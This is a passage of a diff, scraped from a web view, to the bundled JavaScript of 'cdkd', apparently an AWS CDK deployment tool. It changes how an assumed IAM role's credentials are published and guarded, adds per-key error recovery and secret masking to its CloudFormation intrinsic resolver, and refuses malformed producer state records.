21130
22234
|
* for the rest of the process.
|
|
21131
22235
|
*
|
|
21132
|
-
* **Why
|
|
21133
|
-
*
|
|
21134
|
-
*
|
|
21135
|
-
*
|
|
21136
|
-
*
|
|
21137
|
-
*
|
|
21138
|
-
*
|
|
21139
|
-
*
|
|
21140
|
-
*
|
|
21141
|
-
*
|
|
22236
|
+
* **Why not threaded credentials.** cdkd constructs ~13 independent
|
|
22237
|
+
* `AwsClients` instances across deploy / destroy / state / import / etc.
|
|
22238
|
+
* paths (each with its own region, sometimes — e.g. the state-bucket
|
|
22239
|
+
* client lives in a different region from the provisioning clients).
|
|
22240
|
+
* Threading a `credentials` object through every site is high churn for
|
|
22241
|
+
* an opt-in flag, so the assumed credentials are published ONCE, at the
|
|
22242
|
+
* command's entry, through two channels that between them reach every
|
|
22243
|
+
* consumer:
|
|
22244
|
+
*
|
|
22245
|
+
* 1. `setAssumedRoleCredentials` (`src/utils/aws-client-defaults.ts`) —
|
|
22246
|
+
* every SDK client under `src/**` is required to spread
|
|
22247
|
+
* `awsClientDefaults(...)` FIRST, so all of them receive the role as an
|
|
22248
|
+
* EXPLICIT `credentials` value, which outranks a `profile` on the same
|
|
22249
|
+
* config. That helper's header carries the full reasoning.
|
|
22250
|
+
* 2. The `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
|
|
22251
|
+
* env vars — for the consumers channel 1 cannot reach: cdk-local's own
|
|
22252
|
+
* SDK clients and the CDK app subprocess, which inherit this process's
|
|
22253
|
+
* environment.
|
|
22254
|
+
*
|
|
22255
|
+
* **Why channel 1 exists, and why `AWS_PROFILE` is nonetheless LEFT ALONE.**
|
|
22256
|
+
* Channel 2 used to be the whole mechanism, and it is silently inert
|
|
22257
|
+
* whenever a profile is selected: `@aws-sdk/credential-provider-node`
|
|
22258
|
+
* skips the env-var provider once `AWS_PROFILE` is set, so
|
|
22259
|
+
* `--profile ci --role-arn <r>` assumed the role, reported it assumed,
|
|
22260
|
+
* and then ran every call as `ci` — potentially in a different account
|
|
22261
|
+
* (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)). Deleting
|
|
22262
|
+
* `AWS_PROFILE` would not have fixed that on its own (cdkd also passes
|
|
22263
|
+
* `profile` as an explicit client-config key, which outranks the
|
|
22264
|
+
* environment), and it costs something real: `AWS_PROFILE` is the only
|
|
22265
|
+
* region source `Synthesizer.resolveSdkDefaultRegion` has when the user
|
|
22266
|
+
* exported a profile rather than passing `--profile`, so clearing it would
|
|
22267
|
+
* silently drop the CDK app's `CDK_DEFAULT_REGION` and synthesize an
|
|
22268
|
+
* env-agnostic stack for a different region than the profile named.
|
|
22269
|
+
*
|
|
22270
|
+
* **The one consumer channel 2 must NOT reach.** `cdkd local *` copies the
|
|
22271
|
+
* same three environment variables into the emulated Lambda / AgentCore
|
|
22272
|
+
* container, so the role reached the USER'S OWN CODE — which is what
|
|
22273
|
+
* `--assume-role` is for, and never what `--role-arn` asked for. Channel 1's
|
|
22274
|
+
* `ignoreAssumedRole` opt-out cannot express that here, because the value is
|
|
22275
|
+
* not a client config but three variables whose original contents the
|
|
22276
|
+
* overwrite below destroys. So the caller's own triple is SNAPSHOTTED first
|
|
22277
|
+
* (`setPreAssumeEnvCredentials`), and the local surface's forwarding sites
|
|
22278
|
+
* restore it — or, when the caller had none, strip the role's.
|
|
22279
|
+
* `src/utils/caller-credentials.ts` owns that decision and its reasoning.
|
|
22280
|
+
*
|
|
22281
|
+
* So the split is by ROLE, not by channel: `--role-arn` decides the
|
|
22282
|
+
* IDENTITY (channel 1, every client under `src/**`), and the profile keeps
|
|
22283
|
+
* the two jobs an assumed role cannot do — answering the `AssumeRole`
|
|
22284
|
+
* below, and supplying shared-config settings such as the region. The
|
|
22285
|
+
* bound that leaves: with both in play, a client built OUTSIDE `src/**`
|
|
22286
|
+
* still resolves the profile, because channel 2 stays inert for it.
|
|
21142
22287
|
*
|
|
21143
22288
|
* **What the assumed role must carry.** Unlike `cdk deploy`, cdkd does
|
|
21144
22289
|
* NOT route through CloudFormation. There is no cfn-exec-role to
|
|
@@ -21152,18 +22297,31 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
|
|
|
21152
22297
|
* `AdministratorAccess`. CDK CLI's `cdk-hnb659fds-deploy-role-*` is NOT
|
|
21153
22298
|
* sufficient — that role only carries CFn + asset-publish permissions.
|
|
21154
22299
|
*
|
|
22300
|
+
* **Once per process, enforced at both ends.** Every command handler calls this
|
|
22301
|
+
* exactly once, at its entry, and a second call cannot quietly work: the
|
|
22302
|
+
* `AssumeRole` hop below opts out of the published role (so it is answered by
|
|
22303
|
+
* the identity the user started with, never by role A assuming role B — a chain
|
|
22304
|
+
* AWS caps at one hour and refuses unless B's trust policy names A), and
|
|
22305
|
+
* `setAssumedRoleCredentials` then REFUSES the second publish outright. Both
|
|
22306
|
+
* are needed: the opt-out alone would let two identities coexist, and the
|
|
22307
|
+
* refusal alone would leave the hop chaining.
|
|
22308
|
+
*
|
|
21155
22309
|
* Default session duration is 1 hour. For longer-running deploys, the
|
|
21156
22310
|
* caller should re-issue the cdkd command (the in-flight credentials
|
|
21157
22311
|
* stay valid until expiry, but a re-run is the simplest recovery for
|
|
21158
|
-
* the rare case where a deploy outlives them).
|
|
22312
|
+
* the rare case where a deploy outlives them). Nothing refreshes them —
|
|
22313
|
+
* `AssumedRoleCredentials.expiration` is carried for the log line, not acted
|
|
22314
|
+
* on; that field's doc in `aws-client-defaults.ts` records the bound.
|
|
21159
22315
|
*/
|
|
21160
22316
|
async function applyRoleArnIfSet(opts) {
|
|
21161
22317
|
const roleArn = opts.roleArn || process.env["CDKD_ROLE_ARN"];
|
|
21162
22318
|
if (!roleArn) return;
|
|
22319
|
+
if (getAssumedRoleCredentials() !== void 0) throw new Error(SECOND_ROLE_PUBLISH_REFUSAL);
|
|
21163
22320
|
const logger = getLogger().child("role-arn");
|
|
21164
|
-
|
|
22321
|
+
const displayRoleArn = displaySafe(roleArn, { asciiOnly: true });
|
|
22322
|
+
logger.debug(`Assuming role ${displayRoleArn}...`);
|
|
21165
22323
|
const sts = new STSClient({
|
|
21166
|
-
...awsClientDefaults(),
|
|
22324
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
21167
22325
|
...opts.region && { region: opts.region }
|
|
21168
22326
|
});
|
|
21169
22327
|
try {
|
|
@@ -21172,13 +22330,22 @@ async function applyRoleArnIfSet(opts) {
|
|
|
21172
22330
|
RoleSessionName: `cdkd-${Date.now()}`,
|
|
21173
22331
|
DurationSeconds: 3600
|
|
21174
22332
|
}));
|
|
21175
|
-
if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${
|
|
22333
|
+
if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${displayRoleArn}`);
|
|
21176
22334
|
const { AccessKeyId, SecretAccessKey, SessionToken, Expiration } = response.Credentials;
|
|
21177
|
-
if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${
|
|
22335
|
+
if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${displayRoleArn}`);
|
|
22336
|
+
setPreAssumeEnvCredentials(readEnvCredentials());
|
|
21178
22337
|
process.env["AWS_ACCESS_KEY_ID"] = AccessKeyId;
|
|
21179
22338
|
process.env["AWS_SECRET_ACCESS_KEY"] = SecretAccessKey;
|
|
21180
22339
|
process.env["AWS_SESSION_TOKEN"] = SessionToken;
|
|
21181
|
-
|
|
22340
|
+
setAssumedRoleCredentials({
|
|
22341
|
+
accessKeyId: AccessKeyId,
|
|
22342
|
+
secretAccessKey: SecretAccessKey,
|
|
22343
|
+
sessionToken: SessionToken,
|
|
22344
|
+
...Expiration && { expiration: Expiration }
|
|
22345
|
+
});
|
|
22346
|
+
logger.info(`Assumed role ${displayRoleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
|
|
22347
|
+
const selectedProfile = process.env["AWS_PROFILE"];
|
|
22348
|
+
if (selectedProfile !== void 0 && selectedProfile !== "") logger.warn("AWS_PROFILE is set and a role has been assumed. The AWS calls cdkd makes to deploy and read state run as the role. The profile still decides the region, it is what your CDK app resolves during synthesis, and — when you passed `--profile` rather than exporting it — it is the identity a `cdkd local` emulated function or task is given. See https://github.com/go-to-k/cdkd/blob/main/docs/cli-reference.md");
|
|
21182
22349
|
} finally {
|
|
21183
22350
|
sts.destroy();
|
|
21184
22351
|
}
|
|
@@ -23764,6 +24931,82 @@ function nestedStackChildRegionFromLocalArn(physicalId) {
|
|
|
23764
24931
|
if (typeof physicalId !== "string") return void 0;
|
|
23765
24932
|
return NESTED_STACK_LOCAL_ARN.exec(physicalId)?.[1];
|
|
23766
24933
|
}
|
|
24934
|
+
/**
|
|
24935
|
+
* The prefix every dynamic-reference diagnostic this resolver spells carries.
|
|
24936
|
+
*
|
|
24937
|
+
* Exported because `cdkd scrub` applies the SAME partition on its side and must
|
|
24938
|
+
* not keep a second spelling of it (issue #1936's rule, one layer up): a bare
|
|
24939
|
+
* marker tail is reachable from text this resolver did not write — `Parameter X
|
|
24940
|
+
* is required but no value was provided` comes out of `resolveParameters` — so
|
|
24941
|
+
* the prefix is what makes the match an assertion about OWNERSHIP.
|
|
24942
|
+
*/
|
|
24943
|
+
const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
|
|
24944
|
+
/**
|
|
24945
|
+
* Does `source` carry a `{{resolve:...}}` reference that could actually be
|
|
24946
|
+
* FETCHED — one not still awaiting an `Fn::Sub` placeholder?
|
|
24947
|
+
*
|
|
24948
|
+
* Moved here from `cdkd scrub` (issue go-to-k/cdkd#3181), which still imports
|
|
24949
|
+
* it, because the resolver needs the same question answered per abandoned UNIT
|
|
24950
|
+
* and issue #1936 forbids a second spelling of the token pattern.
|
|
24951
|
+
*
|
|
24952
|
+
* The distinction it draws is between "nobody could have resolved this" and
|
|
24953
|
+
* "this one was resolvable and was not resolved" — the line between merely
|
|
24954
|
+
* REPORTING an abandonment and letting it gate an exit code.
|
|
24955
|
+
*/
|
|
24956
|
+
function carriesFetchableDynamicReference(source) {
|
|
24957
|
+
if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
|
|
24958
|
+
if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
|
|
24959
|
+
if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
|
|
24960
|
+
return false;
|
|
24961
|
+
}
|
|
24962
|
+
/**
|
|
24963
|
+
* The NAMELESS spellings, which REFUSE rather than fail to fetch.
|
|
24964
|
+
*
|
|
24965
|
+
* `{{resolve:secretsmanager:}}` with an empty argument is a structurally broken
|
|
24966
|
+
* template, and no substitution produces one — an unresolved `Fn::Sub` keeps its
|
|
24967
|
+
* literal `${...}`. `cdkd scrub` has refused on these since
|
|
24968
|
+
* [#2692](https://github.com/go-to-k/cdkd/issues/2692), so the per-unit
|
|
24969
|
+
* recovery must not quietly downgrade one to a skipped token.
|
|
24970
|
+
*/
|
|
24971
|
+
const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
|
|
24972
|
+
/**
|
|
24973
|
+
* `err` is a refusal this resolver took ON PURPOSE rather than a step that
|
|
24974
|
+
* failed, so the per-unit recovery must re-raise it and abort the walk.
|
|
24975
|
+
*
|
|
24976
|
+
* The partition is the one `cdkd scrub` already applies on its side
|
|
24977
|
+
* (go-to-k/cdkd#3178), drawn by OWNERSHIP rather than vocabulary: every refusal
|
|
24978
|
+
* here is one THIS repo decides and spells, which is what makes matching it
|
|
24979
|
+
* sound in a way that matching AWS's error text never is. Everything else — any
|
|
24980
|
+
* SDK rejection, any shape this cannot classify — is treated as a failed step
|
|
24981
|
+
* and RECORDED. That asymmetry is deliberate: the residual is a unit reported
|
|
24982
|
+
* as unresolved, never a refusal silently skipped.
|
|
24983
|
+
*
|
|
24984
|
+
* The two halves of the message test open the partition in DIFFERENT
|
|
24985
|
+
* directions, and their EVIDENCE differs — stated separately rather than
|
|
24986
|
+
* asserted together, because only one of them is demonstrated.
|
|
24987
|
+
*
|
|
24988
|
+
* {@link DYNAMIC_REFERENCE_PREFIX} is REACHABLE and tested: a secret id is
|
|
24989
|
+
* template-assembled, so AWS's rejection echoes the name it was handed, and a
|
|
24990
|
+
* parameter named after a marker puts the bare tail inside a message this repo
|
|
24991
|
+
* did not write. Matching the tail alone reads that as a refusal and disarms
|
|
24992
|
+
* recovery for the leaf — restoring exactly the loss #3181 removes.
|
|
24993
|
+
*
|
|
24994
|
+
* The CAUSE walk is defence in depth, and NO reachable wrapping of one of these
|
|
24995
|
+
* throws was found from inside either walk's `try` (the in-repo precedent for
|
|
24996
|
+
* the shape is `role-arn.ts`). It is kept because the two failure directions
|
|
24997
|
+
* are not symmetric: an unrecognised refusal is recorded and walked past, which
|
|
24998
|
+
* is the one residual this partition promises cannot happen, while the cost of
|
|
24999
|
+
* the walk is a bounded chain read. Do not cite it as fenced — it is not.
|
|
25000
|
+
*/
|
|
25001
|
+
function isNamelessDynamicReferenceError(err) {
|
|
25002
|
+
if (!(err instanceof Error)) return false;
|
|
25003
|
+
return errorCauseChain(err).some((link) => link.message.includes("Dynamic reference: ") && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((m) => link.message.includes(m)));
|
|
25004
|
+
}
|
|
25005
|
+
function isDeliberateResolutionRefusal(err) {
|
|
25006
|
+
if (!(err instanceof Error)) return false;
|
|
25007
|
+
if (errorCauseChain(err).some((link) => link instanceof IntrinsicResolutionRefusalError)) return true;
|
|
25008
|
+
return isNamelessDynamicReferenceError(err);
|
|
25009
|
+
}
|
|
23767
25010
|
let cachedAccountIdentity = null;
|
|
23768
25011
|
/**
|
|
23769
25012
|
* Cache for availability zones per region
|
|
@@ -24995,7 +26238,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
24995
26238
|
if (!targetRegion) return ambient;
|
|
24996
26239
|
const target = canonicalizeRegion(targetRegion);
|
|
24997
26240
|
const loggedTarget = targetLogText ?? (targetRegion === this.explicitRegion ? this.explicitRegionLogText : void 0) ?? target;
|
|
24998
|
-
if (!isClientSafeRegion(target)) throw new
|
|
26241
|
+
if (!isClientSafeRegion(target)) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`));
|
|
24999
26242
|
if (typeof ambient.withRegion !== "function") return ambient;
|
|
25000
26243
|
const cached = this.regionScopedClients.get(target);
|
|
25001
26244
|
if (cached) return cached;
|
|
@@ -25191,8 +26434,54 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
25191
26434
|
this.logger.warn(`A resolution failed while ${parts} still running, and cdkd stopped waiting because the wait after a failure (capped at ${capSeconds}s) was used up. A secret such a part resolves from now on is still recorded, but only what runs after it arrives can mask it: output already printed or saved is not revisited.`);
|
|
25192
26435
|
}
|
|
25193
26436
|
/**
|
|
25194
|
-
*
|
|
25195
|
-
|
|
26437
|
+
* Resolve ONE key of a bag, recovering per key when the caller opted in.
|
|
26438
|
+
*
|
|
26439
|
+
* Shared by the two sequential key walks that had this defect — the generic
|
|
26440
|
+
* object walk in {@link resolveValue} and `resolveSub`'s variable map — so
|
|
26441
|
+
* the recovery and the REFUSAL partition cannot drift between them. Both were
|
|
26442
|
+
* bare `for … await` loops, so the first failing key abandoned every later
|
|
26443
|
+
* one (issue go-to-k/cdkd#3218; the variable map was found beside it and is
|
|
26444
|
+
* the same defect, not a second one).
|
|
26445
|
+
*
|
|
26446
|
+
* An abandoned key keeps its INPUT value, matching what the per-token
|
|
26447
|
+
* recovery does with an unfetched token. That is safe only because the bag
|
|
26448
|
+
* obliges its consumer to fail the operation — `ResolverContext`'s field doc
|
|
26449
|
+
* carries the obligation and why it is not optional.
|
|
26450
|
+
*
|
|
26451
|
+
* **The log-twin invariant (issue go-to-k/cdkd#3100) under the KEY ordering**,
|
|
26452
|
+
* which is a separate claim from the token one and was missing while the
|
|
26453
|
+
* token half was stated twice. `matches` / `twinTokens` are built inside
|
|
26454
|
+
* `resolveDynamicReferencesWithLogTwin`, once per STRING LEAF, so the
|
|
26455
|
+
* pairing is leaf-local: a key abandoned beside a leaf never enters that
|
|
26456
|
+
* function for it and cannot shift its indices. Skipping a key changes only
|
|
26457
|
+
* WHICH leaves are visited, never how any visited leaf pairs — and a leaf
|
|
26458
|
+
* that is skipped pairs nothing at all rather than pairing wrongly. Fenced
|
|
26459
|
+
* by the key case in
|
|
26460
|
+
* `tests/unit/deployment/intrinsic-resolver-recovered-sibling-log-masking.test.ts`.
|
|
26461
|
+
*
|
|
26462
|
+
* **Both call sites reach it only when a bag is present, and that gate lives
|
|
26463
|
+
* at the CALL SITE rather than in here on purpose.** `resolveValue` recurses
|
|
26464
|
+
* once per nesting level, so routing every level through a second async
|
|
26465
|
+
* frame roughly doubles the resolver's frame cost for a deeply nested
|
|
26466
|
+
* property and lowers the depth at which it raises `RangeError`. An early
|
|
26467
|
+
* return inside this method would not help — the frame is created by the
|
|
26468
|
+
* call. Gating outside leaves every caller that passes no bag (deploy, diff,
|
|
26469
|
+
* drift, rollback) on exactly the pre-#3218 call shape, which is what makes
|
|
26470
|
+
* "a bagless caller is unchanged" true in the stack dimension too. Measured,
|
|
26471
|
+
* not reasoned: the heavier shape inverted the frame-weight ordering that
|
|
26472
|
+
* `tests/unit/cli/import-observed-baseline-refusal-matrix.test.ts` bisects
|
|
26473
|
+
* for, and that is how it was caught rather than shipped.
|
|
26474
|
+
*/
|
|
26475
|
+
async resolveKeyUnit(key, val, context, abandoned) {
|
|
26476
|
+
try {
|
|
26477
|
+
return await this.resolveValue(val, context);
|
|
26478
|
+
} catch (err) {
|
|
26479
|
+
if (isDeliberateResolutionRefusal(err)) throw err;
|
|
26480
|
+
abandoned.push(this.abandonedUnit("key", key, err, context, val));
|
|
26481
|
+
return val;
|
|
26482
|
+
}
|
|
26483
|
+
}
|
|
26484
|
+
/** Recursively resolve a value. */
|
|
25196
26485
|
async resolveValue(value, context) {
|
|
25197
26486
|
if (typeof value !== "object" || value === null) {
|
|
25198
26487
|
if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveDynamicReferences(value, context);
|
|
@@ -25222,7 +26511,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
25222
26511
|
if (unknownIntrinsicKey !== void 0) throw buildUnknownIntrinsicError(unknownIntrinsicKey);
|
|
25223
26512
|
const resolved = {};
|
|
25224
26513
|
for (const [key, val] of Object.entries(obj)) {
|
|
25225
|
-
const resolvedVal = await this.resolveValue(val, context);
|
|
26514
|
+
const resolvedVal = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
|
|
25226
26515
|
if (resolvedVal !== AWS_NO_VALUE) {
|
|
25227
26516
|
if (key === "__proto__") Object.defineProperty(resolved, key, {
|
|
25228
26517
|
value: resolvedVal,
|
|
@@ -26491,7 +27780,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
26491
27780
|
};
|
|
26492
27781
|
variables[key] = resolved.result;
|
|
26493
27782
|
variableTwins[key] = resolved.twin;
|
|
26494
|
-
} else variables[key] = await this.resolveValue(val, context);
|
|
27783
|
+
} else variables[key] = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
|
|
26495
27784
|
} else template = subArgs;
|
|
26496
27785
|
const replacements = [];
|
|
26497
27786
|
const matches = template.matchAll(/\$\{(!)?([^}]*)\}/g);
|
|
@@ -27353,6 +28642,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
27353
28642
|
}
|
|
27354
28643
|
throw new Error(`Fn::GetStackOutput: stack '${loggedStackName}' not found in region '${loggedRegion}'${roleArn ? ` (cross-account via ${roleArn})` : ""}. ${!roleArn && this.cfnFallback ? "Searched cdkd state and CloudFormation stacks. Make sure the producer stack has been deployed (via cdkd or CloudFormation)." : `Make sure the producer stack has been deployed via cdkd.`}`);
|
|
27355
28644
|
}
|
|
28645
|
+
if (!hasReadableOutputs(stateData.state)) throw markNonRetryable(new MalformedProducerRecordRefusalError(`Fn::GetStackOutput: the state record of producer stack '${loggedStackName}' (${loggedRegion}) has no readable 'outputs' map — the record is malformed or truncated. cdkd refuses to resolve from it rather than reading it as a map: 'Object.hasOwn' answers TRUE for '0' on a string and for an index on a list, so continuing would resolve ONE CHARACTER or element of the record as this reference's value and this deploy would send it to AWS. Inspect the producer's record with 'cdkd state show' --json, repair or remove it, then re-run.`));
|
|
27356
28646
|
const outputs = stateData.state.outputs ?? {};
|
|
27357
28647
|
if (!Object.hasOwn(outputs, outputName)) {
|
|
27358
28648
|
const available = this.describeAvailableOutputs(Object.keys(outputs), context);
|
|
@@ -27719,6 +29009,27 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
27719
29009
|
return this.maskNeedlesForLog(text, context) !== text ? "***" : registered;
|
|
27720
29010
|
}
|
|
27721
29011
|
/**
|
|
29012
|
+
* Build one {@link AbandonedResolution}, masking BOTH of its text fields.
|
|
29013
|
+
*
|
|
29014
|
+
* One constructor for both walks so neither can grow a second masking rule:
|
|
29015
|
+
* `subject` and `message` are the only fields a consumer may render, and each
|
|
29016
|
+
* carries its own route to a plaintext — an assembled reference puts one in
|
|
29017
|
+
* the raw token (issue #2827), and an SDK rejection arrives RAW through
|
|
29018
|
+
* `sendWithThrottleRetry` echoing the `Name` it was handed. `error` is kept
|
|
29019
|
+
* unmasked on purpose and is documented as classification-only.
|
|
29020
|
+
*/
|
|
29021
|
+
abandonedUnit(unit, subject, error, context, rawInput, preRedact) {
|
|
29022
|
+
const raw = error instanceof Error ? error.message : String(error);
|
|
29023
|
+
return {
|
|
29024
|
+
unit,
|
|
29025
|
+
subject: this.maskSecretsForLog(subject, context),
|
|
29026
|
+
message: this.maskSecretsForLog(preRedact === void 0 ? raw : preRedact(raw), context),
|
|
29027
|
+
error,
|
|
29028
|
+
carriedDynamicReference: carriesDynamicReference(rawInput),
|
|
29029
|
+
carriedFetchableReference: carriesFetchableDynamicReference(rawInput)
|
|
29030
|
+
};
|
|
29031
|
+
}
|
|
29032
|
+
/**
|
|
27722
29033
|
* The needle mask alone: {@link maskSecretsForLog} without the log-twin
|
|
27723
29034
|
* lookup. For the two DETECTORS that must ask the needle mask apart from the
|
|
27724
29035
|
* position mask: `logTwinText`, which asks it of a value that already has a
|
|
@@ -28130,77 +29441,92 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
28130
29441
|
const pairedTwin = tokensAligned ? twinTokens[index] : void 0;
|
|
28131
29442
|
const tokenLogText = inherited?.tokenLogText ?? (pairedTwin === void 0 ? "***" : this.straddleSafeTwin(fullMatch, pairedTwin, context));
|
|
28132
29443
|
const nameLogText = inherited?.nameLogText ?? (pairedTwin === void 0 ? () => "***" : this.dynamicReferenceNameLogText(inner, pairedTwin, context));
|
|
28133
|
-
|
|
28134
|
-
|
|
28135
|
-
|
|
28136
|
-
|
|
28137
|
-
|
|
28138
|
-
|
|
28139
|
-
|
|
28140
|
-
|
|
28141
|
-
|
|
28142
|
-
|
|
28143
|
-
|
|
28144
|
-
|
|
28145
|
-
|
|
28146
|
-
const cached = this.cachedDynamicReferences.get(fullMatch);
|
|
28147
|
-
if (cached) {
|
|
28148
|
-
if (cached.secret && cached.value) {
|
|
28149
|
-
context?.recordedSecretValues?.set(cached.value, fullMatch);
|
|
28150
|
-
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
|
|
29444
|
+
try {
|
|
29445
|
+
const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
|
|
29446
|
+
if (isKnownSecret && context?.skipDynamicReferences) continue;
|
|
29447
|
+
const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
|
|
29448
|
+
if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
|
|
29449
|
+
if (regionVerdict.kind === "named-region") {
|
|
29450
|
+
const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
|
|
29451
|
+
tokenLogText,
|
|
29452
|
+
nameLogText
|
|
29453
|
+
});
|
|
29454
|
+
result = result.replace(fullMatch, () => foreign.result);
|
|
29455
|
+
twin = twin.replace(fullMatch, () => foreign.twin);
|
|
29456
|
+
continue;
|
|
28151
29457
|
}
|
|
28152
|
-
|
|
28153
|
-
|
|
28154
|
-
|
|
28155
|
-
|
|
28156
|
-
|
|
28157
|
-
|
|
28158
|
-
|
|
28159
|
-
|
|
28160
|
-
|
|
28161
|
-
*
|
|
28162
|
-
* Cleared for exactly the answers the verdict store refuses to pin — an
|
|
28163
|
-
* ssm parameter judged secret from a `Type` that is not a definitive
|
|
28164
|
-
* `SecureString` (issue #1901's fail-closed arm). Caching one would pin
|
|
28165
|
-
* the transient answer for the whole resolver anyway, which is what the
|
|
28166
|
-
* refusal to memoize exists to prevent: before the value cache became
|
|
28167
|
-
* instance-scoped this was already true process-wide, and the
|
|
28168
|
-
* "next pass re-asks" property only ever held on the comparison path,
|
|
28169
|
-
* which caches nothing (issue #1933).
|
|
28170
|
-
*/
|
|
28171
|
-
let cacheable = true;
|
|
28172
|
-
if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
|
|
28173
|
-
else if (service === "ssm") {
|
|
28174
|
-
const decrypt = context?.skipDynamicReferences !== true;
|
|
28175
|
-
const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
|
|
28176
|
-
if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
|
|
28177
|
-
else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
|
|
28178
|
-
else cacheable = false;
|
|
28179
|
-
isSecret = param.secure;
|
|
28180
|
-
if (param.secure) {
|
|
28181
|
-
if (!decrypt) continue;
|
|
29458
|
+
const cached = this.cachedDynamicReferences.get(fullMatch);
|
|
29459
|
+
if (cached) {
|
|
29460
|
+
if (cached.secret && cached.value) {
|
|
29461
|
+
context?.recordedSecretValues?.set(cached.value, fullMatch);
|
|
29462
|
+
if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
|
|
29463
|
+
}
|
|
29464
|
+
result = result.replace(fullMatch, () => cached.value);
|
|
29465
|
+
twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
|
|
29466
|
+
continue;
|
|
28182
29467
|
}
|
|
28183
|
-
|
|
28184
|
-
|
|
28185
|
-
|
|
28186
|
-
|
|
28187
|
-
|
|
28188
|
-
|
|
28189
|
-
|
|
28190
|
-
|
|
29468
|
+
const parts = inner.split(":");
|
|
29469
|
+
let resolved;
|
|
29470
|
+
let isSecret = isKnownSecret;
|
|
29471
|
+
/**
|
|
29472
|
+
* May the resolved value be REMEMBERED, or must the next pass re-ask?
|
|
29473
|
+
*
|
|
29474
|
+
* Cleared for exactly the answers the verdict store refuses to pin — an
|
|
29475
|
+
* ssm parameter judged secret from a `Type` that is not a definitive
|
|
29476
|
+
* `SecureString` (issue #1901's fail-closed arm). Caching one would pin
|
|
29477
|
+
* the transient answer for the whole resolver anyway, which is what the
|
|
29478
|
+
* refusal to memoize exists to prevent: before the value cache became
|
|
29479
|
+
* instance-scoped this was already true process-wide, and the
|
|
29480
|
+
* "next pass re-asks" property only ever held on the comparison path,
|
|
29481
|
+
* which caches nothing (issue #1933).
|
|
29482
|
+
*/
|
|
29483
|
+
let cacheable = true;
|
|
29484
|
+
if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
|
|
29485
|
+
else if (service === "ssm") {
|
|
29486
|
+
const decrypt = context?.skipDynamicReferences !== true;
|
|
29487
|
+
const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
|
|
29488
|
+
if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
|
|
29489
|
+
else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
|
|
29490
|
+
else cacheable = false;
|
|
29491
|
+
isSecret = param.secure;
|
|
29492
|
+
if (param.secure) {
|
|
29493
|
+
if (!decrypt) continue;
|
|
29494
|
+
}
|
|
29495
|
+
resolved = param.value;
|
|
29496
|
+
} else if (service === "ssm-secure") {
|
|
29497
|
+
const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
|
|
29498
|
+
if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
|
|
29499
|
+
isSecret = true;
|
|
29500
|
+
resolved = param.value;
|
|
29501
|
+
} else {
|
|
29502
|
+
